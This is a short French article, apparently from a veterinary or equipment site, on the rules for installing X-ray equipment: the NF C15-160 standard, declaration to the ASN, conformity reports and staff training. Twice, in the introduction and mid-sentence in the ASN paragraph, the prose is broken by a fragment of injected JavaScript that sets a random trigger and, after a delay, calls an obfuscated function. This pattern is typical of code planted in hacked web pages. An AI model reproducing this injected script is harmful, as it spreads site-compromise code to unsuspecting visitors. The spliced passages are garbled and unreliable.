Normes d’installation des équipements radiogènes

Avec l´évolution des techniques médicales, industrielles et vétérinaires, les appareils de radiologie ont évolué très rapidement ces dernières années. La réglementation qui les régit a donc, par voie de conséquence, été adaptée à ses nouveaux appareils. Depuis une dizaine d’années la réglementation a beaucoup changé. Voici ce qu’il faut retenir.dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

 

La réglementation quant aux appareils…

L’installation d’appareils radiogènes est régie depuis le 1 janvier 2016, par la norme NF C15-160 de mars 2011 accompagnée des prescriptions complémentaires fixées par l’arrêté du 22 août 2013. La norme concerne les domaines : médical, dentaire, vétérinaire et industriel-scientifique.

 

En pratique, dès la livraison, il faudra vérifier que votre appareil possède le marquage CE et qu’il est homologué, il doit être accompagné d’un manuel d’utilisation et d’une fiche ASN (Fiche d’Identification d’un appareil radiographique) : ce formulaire remplit par le fabricant et le distributeur est une obligation.

 
Une fois votre appareil dans les lieux, il vous faudra réaliser deux démarches impératives.

Les vétérinaires sont en effet dans l’obligation de déclarer leur équipement d’une part et de fournir un rapport de conformité du matériel radiogène d’autre part. La déclaration de détention doit être transmise à l’Autorité de Sûreté Nucléaire et le formulaire est dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}téléchargeable sur le site de l’ASN.

 

Il est conseillé de faire vérifier l’appareil radiographique par un organisme agréé (Socotec, Apave, Bureau Veritas, etc) AVANT la déclaration à l’ASN, pour éviter des mauvaises surprises. Le « rapport de conformité » délivré par ces organismes est de toute façon une démarche obligatoire.

 

… et au personnel.

« titre III – Art.12 – II de l’Arrêté du 6 décembre 2013, II. – Pour ce qui concerne le niveau 2, la personne titulaire d’un diplôme de médecin radiologue, de médecin nucléaire, de chirurgien-dentiste, de personne spécialisée en radiophysique médicale, de radiopharmacien, de manipulateur d’électroradiologie médicale ou de vétérinaire peut être dispensée, par l’organisme de formation certifié, de tout ou partie de l’enseignement des principes théoriques définis au a du I de l’annexe II, sans préjudice des dispositions de l’article 4. »

E.B